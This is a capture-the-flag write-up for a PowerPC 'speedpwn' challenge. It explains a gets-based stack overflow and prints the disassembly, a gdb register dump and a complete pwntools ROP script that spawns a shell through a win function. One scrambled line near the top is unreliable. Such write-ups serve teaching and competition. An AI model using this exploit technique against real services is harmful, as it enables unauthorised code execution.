MidnightSunCTF 2025 - Sp33d1

18 May 2025

This was a speedpwn challenge. I unfortunately wasn’t able to play the CTF, it only lasted 24h and I was busy the whole saturday, some kind of shabbos you can say.

This is a powerpc ROP challenge. Below is the disassembly of the main function. The vulnerability is that we have a gets that stores a string of any length in a stack variable, giving us a stack buffer overflow.

>RFEuPLloRlwOeRrEPLCROELF322SN'TosACccKaonmCapArlNyeAmRfeYonutn,dbigNNXXenedniaabnledPNIoEPIERNP/AATHRNU/NAPATHS2y0m4b3olSsymbolsFORNT/IAFYF0ortifiedF0ortifiableFsIpL3E3d1
stwu r1, -0x20(r1)
mflr r0
stw r0, 0x24(r1)
stw r31, 0x1c(r1)
mr r31, r1
lis r9, 0x100c
lwz r9, 0x1210(r9)          ; 0x100c0278
                            ; obj._IO_2_1_stdin_
li r6, 0                    ; size_t size
li r5, 2                    ; int mode
li r4, 0                    ; char *buf
mr r3, r9                   ; FILE*stream
bl sym.setvbuf              ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
lis r9, 0x100c
lwz r9, 0x120c(r9)          ; 0x100c0148
                            ; obj._IO_2_1_stdout_
li r6, 0                    ; size_t size
li r5, 2                    ; int mode
li r4, 0                    ; char *buf
mr r3, r9                   ; FILE*stream
bl sym.setvbuf              ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
li r3, 0x3c
bl sym.alarm
bl sym.banner
lis r9, 0x1007
addi r3, r9, 0x6f70         ; int32_t arg1
crclr cr1eq
bl sym.__printf
addi r9, r31, 8
mr r3, r9                   ; char *s
crclr cr1eq
bl sym.gets                 ; char *gets(char *s)
li r9, 0
mr r3, r9
addi r11, r31, 0x20
lwz r0, 4(r11)
mtlr r0
lwz r31, -4(r11)
mr r1, r11
blr

Note that at the function’s epilogue we have:

  • lwz r0, 4(r11) <- load r11[4] to r0
  • mtlr r0 <- move r0 to link register
  • blr <- branch to link register

In gdb those are the registers right at the function’s epilogue. By sending an input with cyclic(0x100) we can see that we control:

  • R0
  • R1
  • R11
  • R31
  • LR
 R0   0x68616161 ('haaa')
*R1   0x407ff8d0 ◂— 0x67616161 ('gaaa')
 R2   0x100cc580 ◂— 0
 R3   0
 R4   0x100c02bf (_IO_2_1_stdin_+71) ◂— 0xa100c1c
 R5   1
 R6   0xa
 R7   0x100c02c0 (_IO_2_1_stdin_+72) —▸ 0x100c1c08 (_IO_stdfile_0_lock) ◂— 0
 R8   0x100c0278 (_IO_2_1_stdin_) ◂— 0xfbad208b
 R9   0
 R10  1
 R11  0x407ff8d0 ◂— 0x67616161 ('gaaa')
 R12  0x40000222 ◂— 0
 R13  0x100c91f8 ◂— 0
 R14  0
 R15  0
 R16  0
 R17  0
 R18  0
 R19  0
 R20  0
 R21  0x100c0000 —▸ 0x100c91f8 ◂— 0
 R22  0x10000634 (main) ◂— stwu r1, -0x20(r1)
 R23  0x100c12c8 (environ) —▸ 0x407ffb4c —▸ 0x407ffd09 ◂— 'DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus'
 R24  0x10000138 (_init) ◂— stwu r1, -0x10(r1)
 R25  0x100bcdb4 —▸ 0x100c0d14 (_nl_global_locale+16) —▸ 0x100bd8b4 (_nl_C_LC_MONETARY) —▸ 0x100c1268 (_nl_C_name) ◂— 0x43000000 /* 'C' */
 R26  0x407ffb4c —▸ 0x407ffd09 ◂— 'DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus'
 R27  0x407ffc2c ◂— 0x16
 R28  0x407ffb44 —▸ 0x407ffd00 ◂— './sp33d1'
 R29  1
 R30  0x100bfff0 (_GLOBAL_OFFSET_TABLE_) ◂— 0
 R31  0x66616161 ('faaa')
 CR   0x20000222
 CTR  0x10014b00 (_IO_file_read) ◂— stwu r1, -0x10(r1)
*SP   0x407ff8d0 ◂— 0x67616161 ('gaaa')
 LR   0x68616161 ('haaa')
*PC   0x100006c8 (main+148) ◂— blr

Given that, we control the execution flow and can start ROP’ing.

There a a few things that make our life easier:

  • there’s no PIE.
  • the ELF is statically linked.
  • we have the /bin/sh string at 0x10077a8c
  • we have the win function at 0x100005f8 which calls system

The only thing we need to do is to setup the /bin/sh as the first argument, and then go to win.

I tried using ROPGadget but it didn’t work with the ppc ELF, even though it’s supported, instead of trying to fix it, I just tried with ropper and it worked.

Most gadgets found by the tool look like this:

  • 0x100716e4: add r1, r1, r10; blr;

This is different that I’m used to do when ROP’ing, since x64 the ret instruction can be used to chain our ROP. Below is the full solution:

from pwn import *

context(arch='PowerPC', bits=32, endian='big')

#io = remote('sp33d.play.hfsc.tf', 20020)
#io = gdb.debug('./sp33d1', 'b main')
io = process('./sp33d1')

set_r3 = 0x100712b4 # lwz r3, 0x10(r1); lwz r0, 0x24(r1); lwz r30, 0x18(r1); addi r1, r1, 0x20; mtlr r0; blr; 

win = 0x100005f8
bin_sh = 0x10077a8c

io.sendline(flat([
    b'a' * 0x1c,
    p32(set_r3 + 2),
    p32(win + 2),
    b'b' * 4,
    p32(bin_sh),
    b'c' * 0x10,
    p32(win),
]))

io.interactive()